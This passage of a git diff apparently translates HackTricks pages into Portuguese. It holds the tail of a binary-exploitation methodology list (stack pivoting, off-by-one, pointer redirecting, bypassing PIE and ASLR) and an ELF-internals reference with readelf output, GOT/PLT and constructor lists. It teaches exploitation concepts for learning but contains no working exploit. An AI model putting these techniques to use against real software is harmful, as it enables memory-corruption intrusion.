**e** [**PIE**](../common-binary-protections-and-bypasses/pie/) **e não sabendo a libc**: Você precisa: +- Contornar [**PIE**](../common-binary-protections-and-bypasses/pie/). +- Encontrar a **versão da `libc`** usada (vazar alguns endereços de função). +- Verificar os **cenários anteriores com ASLR** para continuar. #### Via EBP/RBP -- [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Control the ESP to control RET through the stored EBP in the stack. - - Useful for **off-by-one** stack overflows - - Useful as an alternate way to end controlling EIP while abusing EIP to construct the payload in memory and then jumping to it via EBP +- [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Controle o ESP para controlar o RET através do EBP armazenado na pilha. +- Útil para **off-by-one** stack overflows. +- Útil como uma maneira alternativa de acabar controlando o EIP enquanto abusa do EIP para construir o payload na memória e então pulando para ele via EBP. -#### Misc +#### Diversos -- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): In case the stack contains pointers to a function that is going to be called or to a string that is going to be used by an interesting function (system or printf), it's possible to overwrite that address. - - [**ASLR**](../common-binary-protections-and-bypasses/aslr/) or [**PIE**](../common-binary-protections-and-bypasses/pie/) might affect the addresses. -- [**Uninitialized variables**](../stack-overflow/uninitialized-variables.md): You never know +- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): Caso a pilha contenha ponteiros para uma função que será chamada ou para uma string que será usada por uma função interessante (system ou printf), é possível sobrescrever esse endereço. +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) ou [**PIE**](../common-binary-protections-and-bypasses/pie/) podem afetar os endereços. +- [**Uninitialized variables**](../stack-overflow/uninitialized-variables.md): Você nunca sabe. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md index f5886ddcc..a451d2590 100644 --- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md +++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md @@ -1,11 +1,10 @@ -# ELF Basic Information +# Informações Básicas sobre ELF {{#include ../../banners/hacktricks-training.md}} -## Program Headers - -The describe to the loader how to load the **ELF** into memory: +## Cabeçalhos do Programa +Eles descrevem ao carregador como carregar o **ELF** na memória: ```bash readelf -lW lnstat @@ -14,80 +13,78 @@ Entry point 0x1c00 There are 9 program headers, starting at offset 64 Program Headers: - Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align - PHDR 0x000040 0x0000000000000040 0x0000000000000040 0x0001f8 0x0001f8 R 0x8 - INTERP 0x000238 0x0000000000000238 0x0000000000000238 0x00001b 0x00001b R 0x1 - [Requesting program interpreter: /lib/ld-linux-aarch64.so.1] - LOAD 0x000000 0x0000000000000000 0x0000000000000000 0x003f7c 0x003f7c R E 0x10000 - LOAD 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x000528 0x001190 RW 0x10000 - DYNAMIC 0x00fc58 0x000000000001fc58 0x000000000001fc58 0x000200 0x000200 RW 0x8 - NOTE 0x000254 0x0000000000000254 0x0000000000000254 0x0000e0 0x0000e0 R 0x4 - GNU_EH_FRAME 0x003610 0x0000000000003610 0x0000000000003610 0x0001b4 0x0001b4 R 0x4 - GNU_STACK 0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RW 0x10 - GNU_RELRO 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x0003b8 0x0003b8 R 0x1 +Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align +PHDR 0x000040 0x0000000000000040 0x0000000000000040 0x0001f8 0x0001f8 R 0x8 +INTERP 0x000238 0x0000000000000238 0x0000000000000238 0x00001b 0x00001b R 0x1 +[Requesting program interpreter: /lib/ld-linux-aarch64.so.1] +LOAD 0x000000 0x0000000000000000 0x0000000000000000 0x003f7c 0x003f7c R E 0x10000 +LOAD 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x000528 0x001190 RW 0x10000 +DYNAMIC 0x00fc58 0x000000000001fc58 0x000000000001fc58 0x000200 0x000200 RW 0x8 +NOTE 0x000254 0x0000000000000254 0x0000000000000254 0x0000e0 0x0000e0 R 0x4 +GNU_EH_FRAME 0x003610 0x0000000000003610 0x0000000000003610 0x0001b4 0x0001b4 R 0x4 +GNU_STACK 0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RW 0x10 +GNU_RELRO 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x0003b8 0x0003b8 R 0x1 - Section to Segment mapping: - Segment Sections... - 00 - 01 .interp - 02 .interp .note.gnu.build-id .note.ABI-tag .note.package .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame - 03 .init_array .fini_array .dynamic .got .data .bss - 04 .dynamic - 05 .note.gnu.build-id .note.ABI-tag .note.package - 06 .eh_frame_hdr - 07 - 08 .init_array .fini_array .dynamic .got +Section to Segment mapping: +Segment Sections... +00 +01 .interp +02 .interp .note.gnu.build-id .note.ABI-tag .note.package .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame +03 .init_array .fini_array .dynamic .got .data .bss +04 .dynamic +05 .note.gnu.build-id .note.ABI-tag .note.package +06 .eh_frame_hdr +07 +08 .init_array .fini_array .dynamic .got ``` +O programa anterior tem **9 cabeçalhos de programa**, então, o **mapeamento de segmentos** indica em qual cabeçalho de programa (de 00 a 08) **cada seção está localizada**. -The previous program has **9 program headers**, then, the **segment mapping** indicates in which program header (from 00 to 08) **each section is located**. +### PHDR - Cabeçalho do Programa -### PHDR - Program HeaDeR - -Contains the program header tables and metadata itself. +Contém as tabelas de cabeçalho do programa e os metadados em si. ### INTERP -Indicates the path of the loader to use to load the binary into memory. +Indica o caminho do carregador a ser usado para carregar o binário na memória. ### LOAD -These headers are used to indicate **how to load a binary into memory.**\ -Each **LOAD** header indicates a region of **memory** (size, permissions and alignment) and indicates the bytes of the ELF **binary to copy in there**. +Esses cabeçalhos são usados para indicar **como carregar um binário na memória.**\ +Cada cabeçalho **LOAD** indica uma região de **memória** (tamanho, permissões e alinhamento) e indica os bytes do binário ELF **a serem copiados lá**. -For example, the second one has a size of 0x1190, should be located at 0x1fc48 with permissions read and write and will be filled with 0x528 from the offset 0xfc48 (it doesn't fill all the reserved space). This memory will contain the sections `.init_array .fini_array .dynamic .got .data .bss`. +Por exemplo, o segundo tem um tamanho de 0x1190, deve estar localizado em 0x1fc48 com permissões de leitura e escrita e será preenchido com 0x528 a partir do deslocamento 0xfc48 (não preenche todo o espaço reservado). Essa memória conterá as seções `.init_array .fini_array .dynamic .got .data .bss`. ### DYNAMIC -This header helps to link programs to their library dependencies and apply relocations. Check the **`.dynamic`** section. +Esse cabeçalho ajuda a vincular programas às suas dependências de biblioteca e aplicar realocações. Verifique a seção **`.dynamic`**. ### NOTE -This stores vendor metadata information about the binary. +Isso armazena informações de metadados do fornecedor sobre o binário. ### GNU_EH_FRAME -Defines the location of the stack unwind tables, used by debuggers and C++ exception handling-runtime functions. +Define a localização das tabelas de desempilhamento de pilha, usadas por depuradores e funções de tempo de execução de tratamento de exceções em C++. ### GNU_STACK -Contains the configuration of the stack execution prevention defense. If enabled, the binary won't be able to execute code from the stack. +Contém a configuração da defesa de prevenção de execução de pilha. Se habilitado, o binário não poderá executar código da pilha. ### GNU_RELRO -Indicates the RELRO (Relocation Read-Only) configuration of the binary. This protection will mark as read-only certain sections of the memory (like the `GOT` or the `init` and `fini` tables) after the program has loaded and before it begins running. +Indica a configuração RELRO (Relocation Read-Only) do binário. Essa proteção marcará como somente leitura certas seções da memória (como o `GOT` ou as tabelas `init` e `fini`) após o programa ter sido carregado e antes de começar a ser executado. -In the previous example it's copying 0x3b8 bytes to 0x1fc48 as read-only affecting the sections `.init_array .fini_array .dynamic .got .data .bss`. +No exemplo anterior, está copiando 0x3b8 bytes para 0x1fc48 como somente leitura, afetando as seções `.init_array .fini_array .dynamic .got .data .bss`. -Note that RELRO can be partial or full, the partial version do not protect the section **`.plt.got`**, which is used for **lazy binding** and needs this memory space to have **write permissions** to write the address of the libraries the first time their location is searched. +Observe que RELRO pode ser parcial ou total, a versão parcial não protege a seção **`.plt.got`**, que é usada para **lazy binding** e precisa desse espaço de memória para ter **permissões de escrita** para gravar o endereço das bibliotecas na primeira vez que sua localização é pesquisada. ### TLS -Defines a table of TLS entries, which stores info about thread-local variables. +Define uma tabela de entradas TLS, que armazena informações sobre variáveis locais de thread. -## Section Headers - -Section headers gives a more detailed view of the ELF binary +## Cabeçalhos de Seção +Os cabeçalhos de seção fornecem uma visão mais detalhada do binário ELF. ``` objdump lnstat -h @@ -95,159 +92,153 @@ lnstat: file format elf64-littleaarch64 Sections: Idx Name Size VMA LMA File off Algn - 0 .interp 0000001b 0000000000000238 0000000000000238 00000238 2**0 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 1 .note.gnu.build-id 00000024 0000000000000254 0000000000000254 00000254 2**2 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 2 .note.ABI-tag 00000020 0000000000000278 0000000000000278 00000278 2**2 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 3 .note.package 0000009c 0000000000000298 0000000000000298 00000298 2**2 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 4 .gnu.hash 0000001c 0000000000000338 0000000000000338 00000338 2**3 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 5 .dynsym 00000498 0000000000000358 0000000000000358 00000358 2**3 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 6 .dynstr 000001fe 00000000000007f0 00000000000007f0 000007f0 2**0 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 7 .gnu.version 00000062 00000000000009ee 00000000000009ee 000009ee 2**1 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 8 .gnu.version_r 00000050 0000000000000a50 0000000000000a50 00000a50 2**3 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 9 .rela.dyn 00000228 0000000000000aa0 0000000000000aa0 00000aa0 2**3 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 10 .rela.plt 000003c0 0000000000000cc8 0000000000000cc8 00000cc8 2**3 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 11 .init 00000018 0000000000001088 0000000000001088 00001088 2**2 - CONTENTS, ALLOC, LOAD, READONLY, CODE - 12 .plt 000002a0 00000000000010a0 00000000000010a0 000010a0 2**4 - CONTENTS, ALLOC, LOAD, READONLY, CODE - 13 .text 00001c34 0000000000001340 0000000000001340 00001340 2**6 - CONTENTS, ALLOC, LOAD, READONLY, CODE - 14 .fini 00000014 0000000000002f74 0000000000002f74 00002f74 2**2 - CONTENTS, ALLOC, LOAD, READONLY, CODE - 15 .rodata 00000686 0000000000002f88 0000000000002f88 00002f88 2**3 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 16 .eh_frame_hdr 000001b4 0000000000003610 0000000000003610 00003610 2**2 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 17 .eh_frame 000007b4 00000000000037c8 00000000000037c8 000037c8 2**3 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 18 .init_array 00000008 000000000001fc48 000000000001fc48 0000fc48 2**3 - CONTENTS, ALLOC, LOAD, DATA - 19 .fini_array 00000008 000000000001fc50 000000000001fc50 0000fc50 2**3 - CONTENTS, ALLOC, LOAD, DATA - 20 .dynamic 00000200 000000000001fc58 000000000001fc58 0000fc58 2**3 - CONTENTS, ALLOC, LOAD, DATA - 21 .got 000001a8 000000000001fe58 000000000001fe58 0000fe58 2**3 - CONTENTS, ALLOC, LOAD, DATA - 22 .data 00000170 0000000000020000 0000000000020000 00010000 2**3 - CONTENTS, ALLOC, LOAD, DATA - 23 .bss 00000c68 0000000000020170 0000000000020170 00010170 2**3 - ALLOC - 24 .gnu_debugaltlink 00000049 0000000000000000 0000000000000000 00010170 2**0 - CONTENTS, READONLY - 25 .gnu_debuglink 00000034 0000000000000000 0000000000000000 000101bc 2**2 - CONTENTS, READONLY +0 .interp 0000001b 0000000000000238 0000000000000238 00000238 2**0 +CONTENTS, ALLOC, LOAD, READONLY, DATA +1 .note.gnu.build-id 00000024 0000000000000254 0000000000000254 00000254 2**2 +CONTENTS, ALLOC, LOAD, READONLY, DATA +2 .note.ABI-tag 00000020 0000000000000278 0000000000000278 00000278 2**2 +CONTENTS, ALLOC, LOAD, READONLY, DATA +3 .note.package 0000009c 0000000000000298 0000000000000298 00000298 2**2 +CONTENTS, ALLOC, LOAD, READONLY, DATA +4 .gnu.hash 0000001c 0000000000000338 0000000000000338 00000338 2**3 +CONTENTS, ALLOC, LOAD, READONLY, DATA +5 .dynsym 00000498 0000000000000358 0000000000000358 00000358 2**3 +CONTENTS, ALLOC, LOAD, READONLY, DATA +6 .dynstr 000001fe 00000000000007f0 00000000000007f0 000007f0 2**0 +CONTENTS, ALLOC, LOAD, READONLY, DATA +7 .gnu.version 00000062 00000000000009ee 00000000000009ee 000009ee 2**1 +CONTENTS, ALLOC, LOAD, READONLY, DATA +8 .gnu.version_r 00000050 0000000000000a50 0000000000000a50 00000a50 2**3 +CONTENTS, ALLOC, LOAD, READONLY, DATA +9 .rela.dyn 00000228 0000000000000aa0 0000000000000aa0 00000aa0 2**3 +CONTENTS, ALLOC, LOAD, READONLY, DATA +10 .rela.plt 000003c0 0000000000000cc8 0000000000000cc8 00000cc8 2**3 +CONTENTS, ALLOC, LOAD, READONLY, DATA +11 .init 00000018 0000000000001088 0000000000001088 00001088 2**2 +CONTENTS, ALLOC, LOAD, READONLY, CODE +12 .plt 000002a0 00000000000010a0 00000000000010a0 000010a0 2**4 +CONTENTS, ALLOC, LOAD, READONLY, CODE +13 .text 00001c34 0000000000001340 0000000000001340 00001340 2**6 +CONTENTS, ALLOC, LOAD, READONLY, CODE +14 .fini 00000014 0000000000002f74 0000000000002f74 00002f74 2**2 +CONTENTS, ALLOC, LOAD, READONLY, CODE +15 .rodata 00000686 0000000000002f88 0000000000002f88 00002f88 2**3 +CONTENTS, ALLOC, LOAD, READONLY, DATA +16 .eh_frame_hdr 000001b4 0000000000003610 0000000000003610 00003610 2**2 +CONTENTS, ALLOC, LOAD, READONLY, DATA +17 .eh_frame 000007b4 00000000000037c8 00000000000037c8 000037c8 2**3 +CONTENTS, ALLOC, LOAD, READONLY, DATA +18 .init_array 00000008 000000000001fc48 000000000001fc48 0000fc48 2**3 +CONTENTS, ALLOC, LOAD, DATA +19 .fini_array 00000008 000000000001fc50 000000000001fc50 0000fc50 2**3 +CONTENTS, ALLOC, LOAD, DATA +20 .dynamic 00000200 000000000001fc58 000000000001fc58 0000fc58 2**3 +CONTENTS, ALLOC, LOAD, DATA +21 .got 000001a8 000000000001fe58 000000000001fe58 0000fe58 2**3 +CONTENTS, ALLOC, LOAD, DATA +22 .data 00000170 0000000000020000 0000000000020000 00010000 2**3 +CONTENTS, ALLOC, LOAD, DATA +23 .bss 00000c68 0000000000020170 0000000000020170 00010170 2**3 +ALLOC +24 .gnu_debugaltlink 00000049 0000000000000000 0000000000000000 00010170 2**0 +CONTENTS, READONLY +25 .gnu_debuglink 00000034 0000000000000000 0000000000000000 000101bc 2**2 +CONTENTS, READONLY ``` +Também indica a localização, deslocamento, permissões, mas também o **tipo de dado** que a seção possui. -It also indicates the location, offset, permissions but also the **type of data** it section has. +### Seções Meta -### Meta Sections +- **Tabela de strings**: Contém todas as strings necessárias pelo arquivo ELF (mas não as realmente usadas pelo programa). Por exemplo, contém nomes de seções como `.text` ou `.data`. E se `.text` está no deslocamento 45 na tabela de strings, usará o número **45** no campo **nome**. +- Para encontrar onde está a tabela de strings, o ELF contém um ponteiro para a tabela de strings. +- **Tabela de símbolos**: Contém informações sobre os símbolos, como o nome (deslocamento na tabela de strings), endereço, tamanho e mais metadados sobre o símbolo. -- **String table**: It contains all the strings needed by the ELF file (but not the ones actually used by the program). For example it contains sections names like `.text` or `.data`. And if `.text` is at offset 45 in the strings table it will use the number **45** in the **name** field. - - In order to find where the string table is, the ELF contains a pointer to the string table. -- **Symbol table**: It contains info about the symbols like the name (offset in the strings table), address, size and more metadata about the symbol. +### Seções Principais -### Main Sections +- **`.text`**: As instruções do programa a serem executadas. +- **`.data`**: Variáveis globais com um valor definido no programa. +- **`.bss`**: Variáveis globais não inicializadas (ou inicializadas para zero). Variáveis aqui são automaticamente inicializadas para zero, evitando assim que zeros desnecessários sejam adicionados ao binário. +- **`.rodata`**: Variáveis globais constantes (seção somente leitura). +- **`.tdata`** e **`.tbss`**: Semelhante ao .data e .bss quando variáveis locais de thread são usadas (`__thread_local` em C++ ou `__thread` em C). +- **`.dynamic`**: Veja abaixo. -- **`.text`**: The instruction of the program to run. -- **`.data`**: Global variables with a defined value in the program. -- **`.bss`**: Global variables left uninitialized (or init to zero). Variables here are automatically intialized to zero therefore preventing useless zeroes to being added to the binary. -- **`.rodata`**: Constant global variables (read-only section). -- **`.tdata`** and **`.tbss`**: Like the .data and .bss when thread-local variables are used (`__thread_local` in C++ or `__thread` in C). -- **`.dynamic`**: See below. - -## Symbols - -Symbols is a named location in the program which could be a function, a global data object, thread-local variables... +## Símbolos +Símbolos são uma localização nomeada no programa que pode ser uma função, um objeto de dados global, variáveis locais de thread... ``` readelf -s lnstat Symbol table '.dynsym' contains 49 entries: - Num: Value Size Type Bind Vis Ndx Name - 0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND - 1: 0000000000001088 0 SECTION LOCAL DEFAULT 12 .init - 2: 0000000000020000 0 SECTION LOCAL DEFAULT 23 .data - 3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strtok@GLIBC_2.17 (2) - 4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND s[...]@GLIBC_2.17 (2) - 5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strlen@GLIBC_2.17 (2) - 6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fputs@GLIBC_2.17 (2) - 7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND exit@GLIBC_2.17 (2) - 8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND _[...]@GLIBC_2.34 (3) - 9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND perror@GLIBC_2.17 (2) - 10: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_deregisterT[...] - 11: 0000000000000000 0 FUNC WEAK DEFAULT UND _[...]@GLIBC_2.17 (2) - 12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND putc@GLIBC_2.17 (2) - [...] +Num: Value Size Type Bind Vis Ndx Name +0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND +1: 0000000000001088 0 SECTION LOCAL DEFAULT 12 .init +2: 0000000000020000 0 SECTION LOCAL DEFAULT 23 .data +3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strtok@GLIBC_2.17 (2) +4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND s[...]@GLIBC_2.17 (2) +5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strlen@GLIBC_2.17 (2) +6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fputs@GLIBC_2.17 (2) +7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND exit@GLIBC_2.17 (2) +8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND _[...]@GLIBC_2.34 (3) +9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND perror@GLIBC_2.17 (2) +10: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_deregisterT[...] +11: 0000000000000000 0 FUNC WEAK DEFAULT UND _[...]@GLIBC_2.17 (2) +12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND putc@GLIBC_2.17 (2) +[...] ``` +Cada entrada de símbolo contém: -Each symbol entry contains: - -- **Name** -- **Binding attributes** (weak, local or global): A local symbol can only be accessed by the program itself while the global symbol are shared outside the program. A weak object is for example a function that can be overridden by a different one. -- **Type**: NOTYPE (no type specified), OBJECT (global data var), FUNC (function), SECTION (section), FILE (source-code file for debuggers), TLS (thread-local variable), GNU_IFUNC (indirect function for relocation) -- **Section** index where it's located -- **Value** (address sin memory) -- **Size** - -## Dynamic Section +- **Nome** +- **Atributos de vinculação** (fraco, local ou global): Um símbolo local só pode ser acessado pelo próprio programa, enquanto os símbolos globais são compartilhados fora do programa. Um objeto fraco é, por exemplo, uma função que pode ser substituída por outra diferente. +- **Tipo**: NOTYPE (nenhum tipo especificado), OBJECT (variável de dados global), FUNC (função), SECTION (seção), FILE (arquivo de código-fonte para depuradores), TLS (variável local de thread), GNU_IFUNC (função indireta para realocação) +- **Índice da Seção** onde está localizado +- **Valor** (endereço na memória) +- **Tamanho** +## Seção Dinâmica ``` readelf -d lnstat Dynamic section at offset 0xfc58 contains 28 entries: - Tag Type Name/Value - 0x0000000000000001 (NEEDED) Shared library: [libc.so.6] - 0x0000000000000001 (NEEDED) Shared library: [ld-linux-aarch64.so.1] - 0x000000000000000c (INIT) 0x1088 - 0x000000000000000d (FINI) 0x2f74 - 0x0000000000000019 (INIT_ARRAY) 0x1fc48 - 0x000000000000001b (INIT_ARRAYSZ) 8 (bytes) - 0x000000000000001a (FINI_ARRAY) 0x1fc50 - 0x000000000000001c (FINI_ARRAYSZ) 8 (bytes) - 0x000000006ffffef5 (GNU_HASH) 0x338 - 0x0000000000000005 (STRTAB) 0x7f0 - 0x0000000000000006 (SYMTAB) 0x358 - 0x000000000000000a (STRSZ) 510 (bytes) - 0x000000000000000b (SYMENT) 24 (bytes) - 0x0000000000000015 (DEBUG) 0x0 - 0x0000000000000003 (PLTGOT) 0x1fe58 - 0x0000000000000002 (PLTRELSZ) 960 (bytes) - 0x0000000000000014 (PLTREL) RELA - 0x0000000000000017 (JMPREL) 0xcc8 - 0x0000000000000007 (RELA) 0xaa0 - 0x0000000000000008 (RELASZ) 552 (bytes) - 0x0000000000000009 (RELAENT) 24 (bytes) - 0x000000000000001e (FLAGS) BIND_NOW - 0x000000006ffffffb (FLAGS_1) Flags: NOW PIE - 0x000000006ffffffe (VERNEED) 0xa50 - 0x000000006fffffff (VERNEEDNUM) 2 - 0x000000006ffffff0 (VERSYM) 0x9ee - 0x000000006ffffff9 (RELACOUNT) 15 - 0x0000000000000000 (NULL) 0x0 +Tag Type Name/Value +0x0000000000000001 (NEEDED) Shared library: [libc.so.6] +0x0000000000000001 (NEEDED) Shared library: [ld-linux-aarch64.so.1] +0x000000000000000c (INIT) 0x1088 +0x000000000000000d (FINI) 0x2f74 +0x0000000000000019 (INIT_ARRAY) 0x1fc48 +0x000000000000001b (INIT_ARRAYSZ) 8 (bytes) +0x000000000000001a (FINI_ARRAY) 0x1fc50 +0x000000000000001c (FINI_ARRAYSZ) 8 (bytes) +0x000000006ffffef5 (GNU_HASH) 0x338 +0x0000000000000005 (STRTAB) 0x7f0 +0x0000000000000006 (SYMTAB) 0x358 +0x000000000000000a (STRSZ) 510 (bytes) +0x000000000000000b (SYMENT) 24 (bytes) +0x0000000000000015 (DEBUG) 0x0 +0x0000000000000003 (PLTGOT) 0x1fe58 +0x0000000000000002 (PLTRELSZ) 960 (bytes) +0x0000000000000014 (PLTREL) RELA +0x0000000000000017 (JMPREL) 0xcc8 +0x0000000000000007 (RELA) 0xaa0 +0x0000000000000008 (RELASZ) 552 (bytes) +0x0000000000000009 (RELAENT) 24 (bytes) +0x000000000000001e (FLAGS) BIND_NOW +0x000000006ffffffb (FLAGS_1) Flags: NOW PIE +0x000000006ffffffe (VERNEED) 0xa50 +0x000000006fffffff (VERNEEDNUM) 2 +0x000000006ffffff0 (VERSYM) 0x9ee +0x000000006ffffff9 (RELACOUNT) 15 +0x0000000000000000 (NULL) 0x0 ``` +O diretório NEEDED indica que o programa **precisa carregar a biblioteca mencionada** para continuar. O diretório NEEDED é completado uma vez que a **biblioteca compartilhada está totalmente operacional e pronta** para uso. -The NEEDED directory indicates that the program **needs to load the mentioned library** in order to continue. The NEEDED directory completes once the shared **library is fully operational and ready** for use. - -## Relocations - -The loader also must relocate dependencies after having loaded them. These relocations are indicated in the relocation table in formats REL or RELA and the number of relocations is given in the dynamic sections RELSZ or RELASZ. +## Relocações +O carregador também deve realocar dependências após tê-las carregado. Essas realocações são indicadas na tabela de realocação nos formatos REL ou RELA e o número de realocações é dado nas seções dinâmicas RELSZ ou RELASZ. ``` readelf -r lnstat Relocation section '.rela.dyn' at offset 0xaa0 contains 23 entries: - Offset Info Type Sym. Value Sym. Name + Addend +Offset Info Type Sym. Value Sym. Name + Addend 00000001fc48 000000000403 R_AARCH64_RELATIV 1d10 00000001fc50 000000000403 R_AARCH64_RELATIV 1cc0 00000001fff0 000000000403 R_AARCH64_RELATIV 1340 @@ -273,7 +264,7 @@ Relocation section '.rela.dyn' at offset 0xaa0 contains 23 entries: 00000001fff8 002e00000401 R_AARCH64_GLOB_DA 0000000000000000 _ITM_registerTMCl[...] + 0 Relocation section '.rela.plt' at offset 0xcc8 contains 40 entries: - Offset Info Type Sym. Value Sym. Name + Addend +Offset Info Type Sym. Value Sym. Name + Addend 00000001fe70 000300000402 R_AARCH64_JUMP_SL 0000000000000000 strtok@GLIBC_2.17 + 0 00000001fe78 000400000402 R_AARCH64_JUMP_SL 0000000000000000 strtoul@GLIBC_2.17 + 0 00000001fe80 000500000402 R_AARCH64_JUMP_SL 0000000000000000 strlen@GLIBC_2.17 + 0 @@ -315,82 +306,77 @@ Relocation section '.rela.plt' at offset 0xcc8 contains 40 entries: 00000001ffa0 002f00000402 R_AARCH64_JUMP_SL 0000000000000000 __assert_fail@GLIBC_2.17 + 0 00000001ffa8 003000000402 R_AARCH64_JUMP_SL 0000000000000000 fgets@GLIBC_2.17 + 0 ``` +### Relocações Estáticas -### Static Relocations +Se o **programa for carregado em um lugar diferente** do endereço preferido (geralmente 0x400000) porque o endereço já está em uso ou por causa de **ASLR** ou qualquer outro motivo, uma relocação estática **corrige ponteiros** que tinham valores esperando que o binário fosse carregado no endereço preferido. -If the **program is loaded in a place different** from the preferred address (usually 0x400000) because the address is already used or because of **ASLR** or any other reason, a static relocation **corrects pointers** that had values expecting the binary to be loaded in the preferred address. +Por exemplo, qualquer seção do tipo `R_AARCH64_RELATIV` deve ter modificado o endereço no viés de relocação mais o valor do adendo. -For example any section of type `R_AARCH64_RELATIV` should have modified the address at the relocation bias plus the addend value. +### Relocações Dinâmicas e GOT -### Dynamic Relocations and GOT +A relocação também pode referenciar um símbolo externo (como uma função de uma dependência). Como a função malloc da libC. Então, o carregador ao carregar a libC em um endereço verificando onde a função malloc está carregada, escreverá esse endereço na tabela GOT (Global Offset Table) (indicado na tabela de relocação) onde o endereço de malloc deve ser especificado. -The relocation could also reference an external symbol (like a function from a dependency). Like the function malloc from libC. Then, the loader when loading libC in an address checking where the malloc function is loaded, it will write this address in the GOT (Global Offset Table) table (indicated in the relocation table) where the address of malloc should be specified. +### Tabela de Ligação de Procedimentos -### Procedure Linkage Table +A seção PLT permite realizar vinculação preguiçosa, o que significa que a resolução da localização de uma função será realizada na primeira vez que for acessada. -The PLT section allows to perform lazy binding, which means that the resolution of the location of a function will be performed the first time it's accessed. +Assim, quando um programa chama malloc, na verdade chama a localização correspondente de `malloc` na PLT (`malloc@plt`). Na primeira vez que é chamada, resolve o endereço de `malloc` e o armazena para que na próxima vez que `malloc` for chamada, esse endereço seja usado em vez do código PLT. -So when a program calls to malloc, it actually calls the corresponding location of `malloc` in the PLT (`malloc@plt`). The first time it's called it resolves the address of `malloc` and stores it so next time `malloc` is called, that address is used instead of the PLT code. - -## Program Initialization - -After the program has been loaded it's time for it to run. However, the first code that is run i**sn't always the `main`** function. This is because for example in C++ if a **global variable is an object of a class**, this object must be **initialized** **before** main runs, like in: +## Inicialização do Programa +Depois que o programa foi carregado, é hora de ele ser executado. No entanto, o primeiro código que é executado **não é sempre a função `main`**. Isso ocorre porque, por exemplo, em C++, se uma **variável global é um objeto de uma classe**, esse objeto deve ser **inicializado** **antes** que a main seja executada, como em: ```cpp #include // g++ autoinit.cpp -o autoinit class AutoInit { - public: - AutoInit() { - printf("Hello AutoInit!\n"); - } - ~AutoInit() { - printf("Goodbye AutoInit!\n"); - } +public: +AutoInit() { +printf("Hello AutoInit!\n"); +} +~AutoInit() { +printf("Goodbye AutoInit!\n"); +} }; AutoInit autoInit; int main() { - printf("Main\n"); - return 0; +printf("Main\n"); +return 0; } ``` +Observe que essas variáveis globais estão localizadas em `.data` ou `.bss`, mas nas listas `__CTOR_LIST__` e `__DTOR_LIST__`, os objetos a serem inicializados e destruídos são armazenados para manter o controle deles. -Note that these global variables are located in `.data` or `.bss` but in the lists `__CTOR_LIST__` and `__DTOR_LIST__` the objects to initialize and destruct are stored in order to keep track of them. - -From C code it's possible to obtain the same result using the GNU extensions : - +A partir do código C, é possível obter o mesmo resultado usando as extensões GNU: ```c __attributte__((constructor)) //Add a constructor to execute before __attributte__((destructor)) //Add to the destructor list ``` +Do ponto de vista de um compilador, para executar essas ações antes e depois da função `main`, é possível criar uma função `init` e uma função `fini`, que seriam referenciadas na seção dinâmica como **`INIT`** e **`FIN`**. e são colocadas nas seções `init` e `fini` do ELF. -From a compiler perspective, to execute these actions before and after the `main` function is executed, it's possible to create a `init` function and a `fini` function which would be referenced in the dynamic section as **`INIT`** and **`FIN`**. and are placed in the `init` and `fini` sections of the ELF. +A outra opção, como mencionado, é referenciar as listas **`__CTOR_LIST__`** e **`__DTOR_LIST__`** nas entradas **`INIT_ARRAY`** e **`FINI_ARRAY`** na seção dinâmica, e o comprimento dessas é indicado por 